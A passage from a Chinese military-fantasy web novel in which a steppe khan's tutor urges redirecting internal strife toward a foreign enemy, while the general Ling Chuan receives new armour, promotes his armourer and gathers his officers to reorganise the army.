这平静的话语如同清泉,瞬间浇灭了拓跋青霄心头的躁火。 他猛然惊醒,想起自幼父汗便让他们兄弟姐妹拜此人为师,其所授第一课,便是‘小不忍则乱大谋’。自己正是凭借多年隐忍,才从兄长拓跋烈阳手中夺过本不属于自己的汗位。 他深吸一口气,竟起身离座,对着王浮舟郑重行了一礼,语气恢复了冷静:“老师教训的是,是学生失态了!” 他并未即刻坐回那象征至高权力的王座,而是就站在阶下,如同一名虚心求教的学生,开口问道:“眼下局势,学生该如何应对?请老师赐下妙策!” 王浮舟轻轻挥动麈尾,淡然摇头:“这世间,又何来那么多算无遗策的妙计?所谓策略,不过是在当下的棋局中,权衡利弊,做出那个能让己方利益最大化,或是将损失降至最低的选择罢了!” 他微微停顿,目光似乎穿透了宫殿,望向了更遥远的草原与边疆,缓缓道:“如今,摆在大汗面前的,无非是两个选择。打?还是不打?” 他声音平缓,却字字敲在拓跋青霄心上,“若打,由谁来打?如何打?倾举国之力,还是仅以南征军为锋镝?胜,如何?败,又当如何?” 不等拓跋青霄做出回答,王浮舟话锋一转,继续说道:“若不打,是就此隐忍,不闻不问?还是陈兵边境,施以威慑,以求谈判,换回公主殿下?” 这一连串冷静到近乎残酷的问题,剥开了情绪的外衣,将冰冷的现实赤裸裸地摆在拓跋青霄面前,让他纷乱的思绪逐渐清晰,又倍感沉重。 若打,必是国战。 然,上次南征失利,粮草筹措未及周全,仓促启衅,实非良机。 且他深知,单凭拓跋桀的南征军,难以撼动周军经营多年的北疆防线。 若要动员三大王族、十三部族乃至无数小部落共赴国战,自己所要付出的政治代价和未来需要瓜分出的利益,将难以估量。 加之此刻周军士气正盛,绝非开战最佳时机。 可若不打,这口恶气实在难以下咽。 于帝国而言,一座塔拉马场并非损失不起;于帝王而言,血亲虽重,必要时时亦可为政治牺牲。 唯独这颜面,他丢不起! 尤其是在初登汗位,根基未稳的当下,草原诸部表面臣服,私下却不知多少双眼睛在盯着他,一旦示弱,威信必然大跌,那些潜藏的野心之辈,恐将蠢蠢欲动。 “大汗可还记得,臣教您的第一课是什么?”王浮舟见他眉宇间挣扎不定,缓声开口。 拓跋青霄抬眼望向他,沉声道:“老师教导,为君者,当能忍常人所不能忍!” 王浮舟微微颔首,麈尾轻拂:“大汗既已身登极位,更需明白,‘忍’字绝非怯懦,而是蓄力。猛虎捕食,必先屈身;苍鹰击天,常需敛翼!” 他话语微顿,声音压低了几分,却更显分量:“三大王族,各怀异心;十三部族,阳奉阴违;南征主帅拓跋桀,手握重兵,稳坐阴山……这些,才是大汗您真正需要耐心梳理、逐一解决的内患。外辱虽急,不及内溃之危啊!” “可是老师……”拓跋青霄争辩道,“若我此时忍气吞声,草原万千部落会如何看我?胡羯自立国以来,何曾在南周面前受过如此奇耻大辱?这口气若咽下,我的汗位……” 王浮舟手中的麈尾猛然一顿,那双古井无波的眼睛直视拓跋青霄,缓缓问道:“那么,在大汗心中,是这汗位重要,还是胡羯帝国的国运重要?” 拓跋青霄下意识地答道:“自然都重要!” “若局势所迫,二者只能择其一呢?”王浮舟的声音不高,可每一个字都直指拓跋青霄的心口。 拓跋青霄沉默了,嘴唇紧抿。 王浮舟已然知晓了他的答案,继续说道:“若此刻选择倾力一战,则唯有大胜,方可化解一切内部危机,凝聚草原,成就您无上威望。然则,若战事胶着,乃至失利……且不说能否攻破大周国门,只要我军再度受挫,大汗您失去的,将不仅仅是汗位。积怨已久的各部矛盾恐将彻底爆发,整个胡羯帝国,都可能面临分崩离析的危局!” 第一卷 第322章 转移矛盾! 拓跋青霄眉头紧锁,陷入深深的思索。 良久,他再次躬身,语气恳切:“学生愚钝,还请老师明示,眼下究竟该如何行事?” 王浮舟向前微微倾身,声音低沉而清晰,深不可测的眸子中不时有精光闪过:“转移矛盾!将草原内部的目光,从对您汗位稳固与否的审视,从各部族之间的猜忌与纷争,尽数导向那共同的外敌。将这盘散沙般的内部压力,凝聚成一把无坚不摧的复仇之矛,一致对准南方!” 言毕,他不等拓跋青霄回应,便微微一礼,手持麈尾,转身缓步走出了空旷的帝宫,身影消失在宫门外的光影中,仿佛从未出现过。 拓跋青霄独自站在原地,口中反复默念着那句‘转移矛盾,凝聚力量,一致对外’。 起初是困惑,随即眼中迷茫渐散,取而代之的是一丝明悟,最后豁然开朗! 他猛地抬头,望向王浮舟离去的方向,对着那空荡荡的宫门,极其郑重地躬身行了一个大礼,目光中充满了敬服与决断。 …… 阴山脚下,斡拏城! 主帅大帐内,气氛压抑得令人窒息,拓跋桀端坐于主位之上,面沉似水,一言不发。 下方,博尔术与兀烈二将站在一众将领的最前方,头颅低垂,不敢直视。 帅帐一侧,一道裹在宽大黑袍中的佝偻身影,如同没有生命的雕像般静静矗立,他气息收敛到了极致,仿佛与阴影融为一体,若非亲眼所见,几乎无人能察觉到他的存在。 偌大的帅帐寂然无声,唯有粗重的呼吸声和油脂灯芯燃烧的噼啪声可闻。 那无形的压力如同不断收紧的绞索,让帐中诸多悍将都感到胸闷气短,冷汗涔涔。 不知过了多久,就在这紧张气氛即将达到顶点时,拓跋桀终于缓缓开口,吐出四个字: “败得不冤!” 这四字宛如赦令,瞬间让帐内凝滞的空气流动起来,所有人都暗自长长舒了一口气。 唯有那黑袍身影,依旧纹丝不动,仿佛什么都没听到。 拓跋桀的目光缓缓扫过下方众人,最终落在兀烈与博尔术身上,声音平稳却带着不容置疑的威严: “此次失利,不全怪你二人,也怪不得朝鲁。即便本帅亲自坐镇,也绝不会料到,周人竟有如此胆量,敢深入草原腹地,劫我马场!” “败了,要认!更要敢于正视对手!”他话锋陡然一转,声音骤然拔高,冷冽如塞外寒风,“但是!这绝不意味着,我南征军就要甘心接受这场失败!” “我们眼中的绵羊,竟然敢回头咬伤了苍狼!这般奇耻大辱,已有近百年未曾发生在我胡羯帝国身上!”拓跋桀的声音如同闷雷,在帐中滚动,“这不仅是挑衅,更是刻在我南征军脸上,刻在整个胡羯帝国脸上的耻辱!” 他须发皆张,猛然起身,怒声喝道:“这份耻辱,唯有以周人的鲜血,才能彻底洗刷干净!” “轰!” 帐中所有将领的血液仿佛被瞬间点燃,他们猛地抬起头,眼中燃烧着屈辱的火焰和复仇的渴望,战意冲天而起。 “主帅!末将请命!愿为我大军先锋,踏破周军边关,雪此奇耻!”一名年轻骁将踏步而出,声如洪钟。 正是拓跋桀的长子,拓跋英豪。 然而,拓跋桀看着他,却缓缓摇了摇头,沉声道:“上次倾力一击,尚且功亏一篑。如今周军防线更为警惕坚固,卢恽筹老谋深算,想要一举破其国门,谈何容易?” “博尔术!” “末将在!”博尔术踏步上前,甲叶铿锵。 “命你率领本部铁骑,即日东行!三个月内,给本帅拿下蓟北原,安营扎寨,修筑工事。此后,每日派兵骚扰试探,但绝不许擅自发动进攻!”拓跋桀的命令清晰而冷酷。 “末将领命!”博尔术躬身接令,眼中闪过坚定的光芒。 “兀烈!” “末将在!”兀烈同时跨步而出。 “你领五千精骑,自阳关西进,突袭河西走廊!若能打下据点,便就此扎根,与玉门关守军对峙!若突袭不成,便即刻退守阳关,占据地利,不得有误!”拓跋桀再下一令。 “末将遵命!”兀烈声音斩钉截铁。 拓跋桀心中明镜一般,以南征军现有兵力,正面强攻北疆防线,代价太大,胜算却未可知。 东西两路出击,如同挥出的两把弯刀,直插周军防线的软肋。 成,则可撕裂其防御体系;不成,也能牢牢牵制卢恽筹的大量兵力,使其首尾难顾,为后续可能的全面开战抢下先机。 下达完军令,拓跋桀那鹰隼般锐利的目光,落在了左侧那尊隐于阴影中的黑袍之上。 “蛇王!”他缓缓开口,声音中带着一种复杂的意味,“上次,你手下的人未能把凌川的头颅带回来,这一次……你总该要亲自出手了吧?” 帐内气温仿佛骤然下降了几分,所有将领的目光都下意识地避开那黑袍身影,带着难以掩饰的敬畏。 黑袍之下,良久,传来一道干涩、嘶哑,仿佛毒蛇吐信般令人头皮发麻的声音: “好!” 仅仅一个字,却让帐内这些杀人如麻的悍将们,心底都不由自主地升起一股寒意。 蛇王缓缓抬头,那双冰冷而空洞的目光中闪现出一抹精芒。 算算时间,快二十年了! 想当初,自己纵横中原江湖,令无数高手闻风丧胆,本以为中原高手不过尔尔。 然而,那个人却只用了一剑,便险些让他魂断江湖,那一剑,不仅击溃了他引以为傲的实力,也斩断了他的一身傲骨。 他没有杀自己,而是让自己滚出中原,此生不得再踏足中原半步,而自己也确实如丧家之犬一般,离开了那座令他看不起,却又险些让他丧命的中原江湖。 在之后的很多年,每每想起那一剑,依旧忍不住胆寒。 这些年来,他宛如一条虫子在黑暗中蠕动,那一战更是被他视为毕生的耻辱。 可恩怨终究要了结,也是时候了结一下了,否则,自己此生怕是再无机会了。 第一卷 第323章 狻猊吞海锁环甲! 天光微熹,凌川照常起身前往院中晨练。 不料小北与翠花却已先他一步,正在院中刻苦操练。 小北手握一柄为他特制的小号木刀,虽身形稚嫩,但一招一式已有板有眼,劈、砍、撩、刺,动作迅捷,带着一股初生牛犊不怕虎的锐气。 旁边的翠花则挥舞着一柄厚重的环首刀,势大力沉,虎虎生风,虽招式略显朴拙,但那磅礴的力量感却令人生畏。 凌川驻足观看,暗自点头。 数日不见,这一小一大的进步堪称神速,显然是下了苦功夫打磨,而且他能看出,两人的基础都打得极为牢固,马步沉稳,发力顺畅。 眼下最欠缺的,便是真刀真枪的实战磨砺,唯有如此,方能将平日所练化为本能。 “将军!” “叔叔!” 见凌川到来,两人立刻收势,快步迎上前来,小脸上还挂着晶莹的汗珠。 凌川笑着揉了揉小北的脑袋:“进步很快嘛!光是闭门苦练可不成。接下来,可以常去大营里找军士们过过招,检验一下自己的不足,也尝尝挨打的滋味!” 随后,凌川便与他们一同训练,不时出声指点,纠正他们发力与招式衔接间的细微瑕疵。 “吃饭啦!” 苏璃清亮的声音从廊下传来,几人这才收起兵器。 餐桌上,几碗热气腾腾的面条香气扑鼻,每碗还卧着一个金灿灿的煎蛋。 “哇!面条,还有鸡蛋,太香了!”小北欢呼一声,连忙跑去洗手。 不过上桌之后,他并没有立刻动筷,而是眨巴着大眼睛,乖巧地坐等。就连翠花也搓着手,眼巴巴地看着面条,强忍着不动。 “吃啊,都看着我做什么?”凌川笑道。 小北挺直腰板,一本正经地说:“婶婶说了,要等长辈先动筷子!” 凌川心下莞尔,点头道:“真乖,吃吧!” 得到许可,小北立刻端起碗,吸溜了一大口面条,发出满足的呼啦声。 苏璃放下筷子,轻轻敲了敲桌面,目光看向小北。 小北立刻会意,不好意思地笑了笑:“婶婶,我记住啦,吃面不能出声!” “呼啦……” 就在这时,一旁传来更为响亮、甚至堪称豪迈的吸面声响起。只见翠花端着一个堪比面盆的大海碗,整张脸几乎都埋了进去,吃得那叫一个酣畅淋漓。 小北一脸古怪地偷偷瞄了苏璃一眼。 苏璃扶额,提高声音道:“翠花!跟你说过多少次了!再这样,下次你饭量减半!” 翠花这才抬起头,嘴唇周围还沾着面汤,她憨憨一笑,瓮声瓮气地说:“夫人,这面太香了,俺一吃起来就给忘了!” 刚放下碗筷,院外便传来了庾朔的声音。 “将军!” 只见他带着几名士兵抬着几个沉甸甸的物件走了进来,脸上带着兴奋与期待。 “将军!您的将军甲做好了!请您试穿,若有不妥之处,属下立刻调整!” 两名士兵小心翼翼地将一个木架抬入院中,霎时间,仿佛将一抹清冷的月光引入了庭院。 只见木架上悬挂着一副崭新的铠甲,铠甲通体呈现一种内敛而深邃的银辉,如月华流转。 这并非寻常鎏银的浮华,而是采用了凌川所提供的独特热处理工艺与反复抛光工艺,使得每一片甲叶都光滑如镜,在晨光下流转着冷冽而坚实的光泽,竟能隐隐映出人影。 凌川伸出手,指尖从冰冷光滑的甲片上缓缓抚过,眼神中流露出毫不掩饰的赞赏。 庾朔确是匠心独具,不仅能完美实现他的构想,更能在此基础上精益求精。 铠甲的关键部位,如肩吞、腹吞、兜鍪眉翅以及臂鞲处,则以精炼黄铜铸就。 那暖金色的铜饰与冷银色的甲身交相辉映,于威严中透出雍容贵气,却又避免了僭越之嫌。 肩吞与腹吞依然采用了狻猊吞海锁环甲的兽首样式,威猛而霸气,黄铜极佳的延展性更为精细的錾刻提供了条件,其上云纹缭绕,兽首的鬃毛鳞甲皆纤毫毕现,充满了磅礴的力量感。 “将军,这几尊核心的狻猊兽首,乃是墨巡先生亲自出手雕琢錾刻的,其神韵力道,远非属下能及!”庾朔在一旁恭敬地介绍道。 凌川微微颔首,那三尊主要的兽首确实非同凡响,双目炯炯,獠牙森然,仿佛下一刻便要咆哮而出,将大师手笔的磅礴气韵展现得淋漓尽致。 “相公,这铠甲好漂亮,来,我帮你穿上试试!”苏璃等人早已被这副华美而霸气的铠甲吸引过来。 她眼中异彩连连,出身将门的他深知一位将军对兵甲的热衷,眼前这副铠甲绝对是任何一位将领都梦寐以求的至宝。 “好!”凌川张开双臂。 苏璃上前,入手便觉惊讶,这铠甲看起来威武非凡,重量却远比想象中轻巧。 庾朔似是看出了她的担忧,连忙解释道:“夫人放心,甲片均经过千锤百炼,份量轻而质地坚,此前已用破甲箭和长枪多次试验,皆未能穿透!” 苏璃闻言,这才彻底安心,笑道:“你们真是有心了!” “夫人言重了!”庾朔连忙躬身,“将军的安危系于全军,属下万万不敢有丝毫马虎!” 在苏璃的亲手操作下,凌川很快披挂整齐。 每一个卡扣都严密扣合,内部柔软的牛皮内衬贴合身体,既舒适又能有效防潮,甲片则被精心编缀在衬里上,牢固异常。 凌川活动了一下四肢,发现肩、肘、膝等关节处皆有异形甲叶保护,设计巧妙,动作间竟无丝毫滞涩感。 庾朔继续解释道:“这次的甲片编缀手法,幸得一位经验丰富的老匠人指点,与传统之法不同,即便外部皮绳不幸被利刃割断,甲片也不会轻易散落崩解!” “将军,您活动试试,看看是否还有不适之处?”庾朔期待地说道。 凌川点头,从兵器架上取下一杆长枪,便在院中舞动起来,他虽主修刀法,但与唐岿然切磋时也学过基础枪术。 此刻长枪如龙,或刺或扫,带起阵阵风声。整套铠甲随着他的动作灵活运转,甲叶相互摩擦发出清脆而富有节奏的金属声响,竟无一处妨碍动作。 第一卷 第324章 骨头给我硬着点! 一套枪法练完,凌川气息悠长,内心极为满意。 能达到如此效果,庾朔定然在细节处经过了无数次调整与尝试。 庾朔的目光也始终紧随着凌川,审视着每一个动作下铠甲的状态,见毫无破绽,这才长长松了口气。 “将军,您感觉如何?”他迫不及待地上前询问。 “非常好!”凌川脱口赞道,随即神色一正,“庾朔听令!” 庾朔一怔,眼中掠过一丝茫然,但立刻躬身抱拳:“属下在!” “擢升你为军械司参军,享校尉同等俸禄,专职督造全军兵甲器械!”凌川声音铿锵,掷地有声。 此言一出,庾朔直接愣在当场,仿佛被定身法定住。 他不过是从朔州逃难到云州的流民,原本想着,能找份差事混口饭吃,就已经是天大的好事了,也正是因为如此,他们这一帮难民异常卖力,可他万万没想到,凌川竟然封他做军械司参军。 要知道,军械司参军可是与校尉同级别的官职,虽然手里没兵权,但军械铸造历来都是军中机要部门,掌管的更是军队的命脉,从某种角度来说,他这个参军比很多校尉的含金量还要高。 此前,军械司两个参军位置,一个给了墨巡,另一个本想着给杨铁匠,却被其直接拒绝了,以至于一直空悬。 而这段时间,杨铁匠对庾朔也是不遗余力地倾囊相授,凌川又岂会不明白他的用意? 虽然前几日将周淮和刘晏二人从云岚县调了过来,但他们一人是协助苏璃打理生意上的事情,另一人则是协助程砚负责后勤辎重,军械司参军的位置,凌川也一直给庾朔留着的。 “将军,我……属下何德何能……”他声音哽咽,就要跪谢。 庾朔满脸惶恐,就要下跪,却被凌川伸手制止,说道:“记住,你掌管的可是我云州军的兵甲,骨头给我硬着点!” “属下……遵命!”庾朔挺直脊梁,声音因激动而颤抖,却异常坚定。 一股沉甸甸的责任感与誓死效忠的决心在他心中澎湃涌起。 看着这副将军甲,一众亲兵纷纷露出艳羡之色,事实上别说是他们,就算放在整个北系军将领之中,那也绝对是最亮眼的存在,哪怕是正三品武将的睚眦衔仇明光铠与之相比,也会黯然几分。 “庾朔叔叔,我的铠甲呢?” 小北这时迫不及待地跑过来,拉住庾朔的衣角,仰着小脸,大眼睛里满是期待。 庾朔从激动的情绪中回过神,溺爱地笑道:“放心,叔叔怎会忘了咱们的小将军?今日一并带来了!” 只见一名士兵笑着捧上一副小巧精致的银甲,样式与凌川的相仿,只是省去了繁复的肩吞腹吞,关节处的处理也更为简洁,但同样熠熠生辉。 “哇!好漂亮!是我的铠甲!”小北欢呼一声,几乎要蹦起来,立刻扑过去伸出小手抚摸冰凉的甲片。 苏璃笑着上前,耐心地帮他把这套缩小版的将军铠穿上,眼中满是疼爱。 平日虽严厉,但她早已将这孩子视如己出,悉心栽培。 “婶婶,怎么样?我像不像个小将军?”小北兴奋得小脸通红,在苏璃面前笨拙地转了个圈,还试图模仿凌川刚才持枪的姿势,显得童趣十足。 “像!真像一位威风凛凛的小将军!”苏璃笑着替他正了正有点歪的小头盔。 小北又咚咚咚跑到凌川身边,努力挺起小胸脯,与凌川并排站立:“叔叔是大将军!小北是小将军!” 凌川忍俊不禁,弯腰替他系紧束绦,鼓励道:“好!那咱们小北快快长大,将来也做一员统率千军万马的大将军!” “嗯!”小北用力点头,眼神亮晶晶的,充满了对未来的憧憬。 就在这时,两名士兵吭哧吭哧地抬着一件庞然大物走了进来,那沉重的样子引得众人纷纷侧目。亲兵们相视一笑,已然猜到,那定是那副传说中的‘象甲’了! 庾朔的表情也变得有些微妙,说道:“将军,这是为翠花姑娘赶制的铠甲,不过属下以前没做过这么大尺寸,也不知合不合身……” 凌川笑着看向翠花:“翠花,快去试试合不合身!” “哎!谢谢将军!谢谢庾大人!”翠花欢快地应了一声,大步上前,竟单手便将那沉重的一堆甲胄提了起来。 “哗啦啦……”甲片撞击发出的声音,宛如晃动的风铃。 霎时间,众人只觉眼前一暗,那套通体黝黑、仿佛巨兽鳞甲般的铠甲,几乎挡住了院中大片的阳光,投下好大一片阴影。 亲兵们看得目瞪口呆,这体积和分量,怕是足够做成四五套普通尺寸的铠甲了。 翠花却满脸喜色,拎起来哗啦一抖,便往身上套去。 由于铠甲实在过于庞大沉重,为确保牢固,并未采用卡扣,而是采用了更可靠的皮质束带和铜环扣袢。在两名士兵的帮助下,费了好一番功夫,才将这‘象甲’穿戴完毕。 当最后的头盔戴好,此时的翠花,俨然化作一尊巍峨的铁塔女战神。 漆黑的甲叶覆盖全身,在阳光下泛着沉凝的乌光,仅仅只是默立原地,那雄浑无匹的体魄与铠甲的厚重感相结合,便带来一股令人窒息的压迫感。 “属下听闻深色显瘦,故而保留了甲片的本色……”庾朔摸了摸鼻子,语气有些不确定地解释道。 他不解释还好,这一说,院子里不知是谁先憋不住,噗一声笑了出来,顿时如同点燃了引线,爆发出哗然的哄笑声。 余乐捧着肚子,笑得眼泪都快出来了:“哎呦……我的庾参军,您这……您这真是好心!可咱们翠花姑娘这擎天拔地的气势,哪是区区一个颜色能盖得住的啊?哈哈哈……” “哈哈哈哈……昨天瞧见大牛的蛮牛甲已是极为惊人,今日得见‘象甲’,方知何为山外有山!”孟钊也笑着说道。 “翠花,往后你往阵前一站,啥也别干,敌军一看这架势,怕是要先吓退三里地!” 翠花本性淳朴憨厚,深知大家并无恶意,只是觉得有趣。 她自己也跟着嘿嘿直乐,还配合地抬起覆着甲叶的粗壮手臂,做了个展示力量的动作,更是惹得众人笑作一团。 第一卷 第325章 谢知命升官! “好了好了,再笑下去,咱们翠花姑娘下次可真不敢穿新甲了!”凌川笑着止住大家的调侃,随即想起一事,对余乐吩咐道:“去,把我给小北准备的礼物牵来!” “得令!”余乐笑着快步跑向马厩,不一会儿,便牵着一匹小巧玲珑的矮马走了进来。 这匹小矮马通体雪白,皮毛光滑如缎,脖颈上的鬃毛修剪得整整齐齐,一双大眼温顺而灵动,瞬间吸引了所有人的目光。 苏璃也是第一次见这等可爱的矮马,眼中露出喜爱之色。 小北更是惊喜地叫出了声,一下子冲到小马面前,想摸又不敢摸,仰头看着凌川,眼中充满了难以置信的期待:“叔叔!这,这是送给我的坐骑吗?” “对啊,喜欢吗?以后它就是你的专属坐骑了!”凌川笑着点头。 “喜欢!太喜欢了!谢谢叔叔!”小北高兴得快要跳起来,小心翼翼地伸出手,轻轻抚摸小马的脖颈。 小马似乎也很喜欢这个新主人,亲昵地低下头蹭了蹭小北的脸颊,两个小家伙,一样的憨态可掬。 今日,不但得到了梦寐以求的铠甲还意外收获一匹坐骑,小北脸上的笑容灿烂得如同朝阳,心中的快乐几乎要满溢出来。 昨日下午,凌川已吩咐人特制了一副精巧的小马鞍,小北迫不及待地蹬鞍上马。 小不点性情极是温顺,全程毫不反抗,待小北稚嫩地喊出一声‘驾’,它才乖巧地迈开四蹄,在院中小跑起来。 小北在云岚县时便学过骑马,骑术虽谈不上精湛,却也足够驾驭这温顺的小马。 很快,院内的一方天地便满足不了他的兴致,他一拉缰绳,竟直接朝着府门外骑去。 苏璃见状,下意识地想要阻拦,凌川却笑着摆手制止:“小家伙正玩在兴头上,让他去撒个欢,显摆显摆也无妨!”随即示意孟钊派两名亲兵远远跟着,护其周全。 下午时分,一名身着青色儒衫、气质温文尔雅的书生来到了将军府。 凌川见到他时,着实愣了一下,随即脸上绽开惊喜的笑容。 “你怎么突然来了?”凌川快步迎上,语气中带着毫不掩饰的意外与熟稔。 来人正是云岚县令谢知命。 他嘴角噙着一抹故友重逢的浅笑,语气却带着几分恰到好处的揶揄:“凌将军如今高升,巡幸云岚县境,竟也不跟在下这个小小的县令打个招呼。谢某无奈,只好自己厚着脸皮,跑到这云州城来拜谒将军了!” 凌川闻言,不由尴尬地摸了摸鼻子,笑道:“谢兄这就冤枉我了!上次是执行军务,时间紧迫,实在是抽不出片刻空闲去叨扰你。恕罪,恕罪!” 他心下明了,谢知命此刻出现在云州,绝不仅仅是专程来拜访自己,多半是因公务被杨恪召来。 他故意玩笑道:“你来了云州,不先去拜见刺史大人,反倒先跑我这将军府来。就不怕杨大人知晓了,给你小鞋穿?” 谢知命却浑不在意,洒脱一笑,自顾自地寻了张椅子坐下:“早已来了有两三日了,听闻你昨日方归,今日便偷得浮生半日闲,特地过来看看你!”他语调轻松,仿佛只是好友间寻常的串门。 凌川眉头微挑,忽然心念一动,眼中闪过狡黠的光,试探道:“哦?那我现在是不是该改口,称你一声长史大人了?” 看谢知命没有反驳,凌川便知自己猜对了。 前任长史杜攸被擒下狱后,此位一直空悬。 以谢知命在云岚县的卓著政绩、其本身的才学出身,再加上与凌川的这层关系,杨恪将他提拔到身边任长史,实在是再顺理成章不过的事情。 眼下云州百废待兴,正是用人之际,谢知命无疑是绝佳的人选。 “你这一高升,云岚县那边……不会出什么岔子吧?”凌川一边为他斟茶,一边关切问道。 “放心,一切均已步入正轨,各项章程皆有定例,后来者只需按部就班即可,出不了乱子!”谢知命接过茶杯,语气从容。 “那天香楼呢?”凌川又问。他知道那是谢知命父辈传下的唯一产业。 “都已交给掌柜和多年的老伙计们打理,所盈利润,由他们自行分红便是!”谢知命抿了口茶,神色温和,“毕竟天香楼最难的那段时日,他们都不离不弃,未曾另谋高就,如今,也该是他们得些实惠的时候了!” 凌川赞同地点点头,正所谓患难见真情,当初天香楼被刘家的福临门打压得濒临关门,那些伙计掌柜却能坚守至今,足见谢知命待人之厚,亦可见那些人品性之可靠。 谢知命放下茶杯,目光转向凌川,嘴角勾起一抹带着戏谑的笑意:“倒是你凌大将军,听说你这次可是发了一笔横财啊?” 凌川闻言,嘿嘿一笑,也不否认:“此话不假,不过这些家伙可都是吞金兽,云州两座马场更是销金窟一样的存在,我正愁着呢!” 谢知命笑道,“你之前递到刺史府那份关于扩建清河、西源两处马场的条陈,杨大人已仔细看过了。今日派我过来,正是要与你商议这具体事宜!” 一听是谈正事,凌川也稍稍坐正了些,但语气依旧带着朋友间的随意:“我的想法其实简单,那两处马场地广人稀,先前分发田亩后,周边仍有大量空旷官地。节度府若能协调,最好能将散居附近的百姓迁至他处,官府拨给同等甚至更优渥的田产作为补偿!” 他顿了顿,继续道:“若百姓故土难离,不愿搬迁,也行。我按市价征用他们被划入马场范围内的土地,此后每年由官府按田亩份额,代我支付给他们相应的粮食作为补偿。同时,他们若愿意,还可优先来我的马场做工,我另付工钱,如何?” 谢知命听罢,没好气地白了凌川一眼,笑骂道:“一说到公事,就撇开交情开始算计了是吧!你自己要扩建马场,倒让官府替你出面征地、垫付补偿?这天底下哪有这般好事?” 凌川立刻喊冤,脸上却堆着笑:“谢兄,这哪能叫算计?咱们皆是云州官员,都在为云州谋发展嘛!再说,我这马场壮大起来,产出战马军械,最终受益的还不是整个云州,乃至整个北疆?” 第一卷 第326章 众将云集! 说着,他十分自然地拿起茶壶,又给谢知命添了些茶水,语气带上了几分商量:“此事对刺史府而言,也就是一纸公文、协调调度的小事。可我这边真是时间紧迫,马场里天天都有新生马驹落地,我得赶紧播撒草种、扩建棚圈。不然等到明年,那些战马就真得啃黄土了!” 谢知命看着他这副‘晓之以理、动之以情’还带点耍无赖的样子,不由失笑,摇了摇头道:“罢了罢了,早知你会如此。前两日我已行文至两县县令,着他们前去动员百姓了。一听是你凌大将军要扩建马场,为咱们云州养战马,百姓们都颇为配合。官府已根据各家意愿,或迁地、或补偿,重新核发了地契,此事基本已定。” 凌川一听,顿时喜上眉梢,拱手笑道:“哈哈哈!凌某在此,多谢长史大人鼎力相助!” 正事谈毕,气氛愈发轻松。 见谢知命起身似要告辞,凌川连忙一把拉住他:“这都到饭点了,留下吃了便饭再走!” 谢知命却故意板起脸,挑眉道:“我替你解决了这么大一桩麻烦,一顿家常便饭就想打发我?凌大将军,门都没有!至少也得是风雪楼摆上一桌!” “哈哈哈哈!”凌川朗声大笑,用力拍了拍他的肩膀,“没问题!别说一桌,十桌都行!时间地点随你定,我随时奉陪!” 转眼又是半月过去。 这段时间,云州各县大营皆是一片火热的景象,第二阶段更具针对性的训练正在紧锣密鼓地展开。 从塔拉马场缴获的八千匹优质战马陆续投入军中,虽未能彻底解决战马短缺的窘境,却也如久旱甘霖,在很大程度上缓解了燃眉之急。 然而,这八千匹战马距离凌川心中构想足以纵横北疆的三万铁骑雄师,仍相差甚远。 凌川给谭学林下达的命令是三个月内,必须将两座马场内那一万多匹正待驯化的战马尽数训成,尽快配发至各营。 即便短期内无法实现一人双骑的奢望,也至少要保证核心骑兵部队能达到一人一骑,满足日常训练所需。 为此,凌川下达将令,将坐镇云州下辖各县的校尉,以及分散于六座主要大营的统兵将领,全部召集回云州城。 甚至连远在关外执行任务的斥候营,也接到命令,由副校尉纪天禄暂代指挥,而陈谓行则只身快马赶回。 此外,云州大营的核心层,包括以程砚为首的一众参军、军械司主管庾朔、墨巡,以及刚从云岚县调任到云州的刘晏与周淮等人,也尽数奉命到场。 将军府前,将领云集。 数月不见的唐岿然风尘仆仆地赶来,他身形似乎更加魁梧雄壮,刚毅的脸庞上多了几分边关的风霜与岁月的痕迹。 云州军众将领对他这位以勇武闻名的沙场悍将早有耳闻,特别是上次于武定关外,一枪挑杀敌军高手的战绩更是如雷贯耳,纷纷主动上前见礼,气氛热烈。 听说唐岿然要来,苏璃也十分欣喜,亲自下厨张罗了一桌丰盛饭菜,迎接这位兄长。 下午,将军府白虎堂。 堂内将星云集,济济一堂。 自凌川接掌云州以来,这是人数最为齐整的一次议事,几乎坐满了整个大堂。 众将领面上或多或少带着些许疑惑与揣测,如此兴师动众,莫非是因半月前劫掠塔拉马场之事,胡羯即将大举报复,边关战事又将重启? 凌川端坐主位,目光沉静地扫过全场,并未立刻宣布重大决策,而是首先让各县校尉逐一禀报近期防务、练兵及民生协调情况。 参军程砚坐于凌川左下首,身后一名帐下吏运笔如飞,将各位将领的禀报要点、提出的困难一一详细记录在案。 凌川听得极其专注,时而微微颔首,时而凝神思索。待所有校尉禀报完毕,帐下吏将记录呈上。 凌川快速浏览了一遍,随即开始逐一反馈。 整个过程如行云流水,凌川对各项事务的熟悉程度、对问题本质的洞察力,以及那份仿佛信手拈来却总能切中要害的解决能力,让在场所有将领,无论是旧部还是新投者,都感到深深的震撼与折服。 许多困扰他们多时、看似无解的难题,在凌川这里,往往三言两语便被剖析明白,并给出清晰可行的路径。 随后,凌川又让几座主力大营的将领重点汇报了新阶段训练的进展与遇到的问题,他同样能从那些零散的描述中,迅速捕捉到训练中的薄弱环节和认知误区。 他没有空泛的指责,而是精准把脉,再对症下药。 堂内众将从一开始的疑惑,逐渐变为钦佩,最终只剩下心服口服的专注聆听。 待所有事务逐一厘清并做出指示后,凌川环视全场,气氛不知不觉间已变得无比肃穆,所有人都意识到,重头戏即将来临。 凌川缓缓开口,声音沉稳而有力:“诸事既已明晰,接下来,本将会对云州军现行编制,做出一些调整!” 此言一出,堂内气氛骤然一紧! 几乎所有将领都本能地挺直了脊背,神色凝然。 编制改动,历来牵动人心,往往意味着权力的再分配和人事的动荡,凌川上任虽短,但已数次挥刀。 虽其中涉及世家门阀的利益牵扯,被他动刀之人,也都有不得不动的理由,但让所有人记忆深刻的是,凌川每一次都精准而果决。 “我云州军,有卢帅亲封、旗帜独有的死字营!”凌川的声音在堂内回荡,“如今,死字旗,依旧屹立在云岚县!” 话音落下,众人的目光不约而同地投向现任云岚县校尉卫敛。 而曾经从死字营中浴血奋战、一步步走出的唐岿然、薛焕之、轩辕孤鸿、朱武等人,更是下意识地胸膛挺得更高,脸上洋溢着无法掩饰的骄傲与荣光。 对于他们而言,死字营是一枚熔铸了血性与忠勇的永恒烙印,是军魂所系,无论将来身处何位,此身永是死字营一员! 凌川将众人的反应尽收眼底,稍作停顿,继续宣布,声音陡然提升:“今日,本将决议,在我云州军内,再立三营!” 第一卷 第327章 再立三营! 凌川目光看向众人,开口道:“其一!” “原云州五千重甲军,即日起扩编至满员一万人!授新营号——‘玄甲营’!执掌白山黑水战旗!” 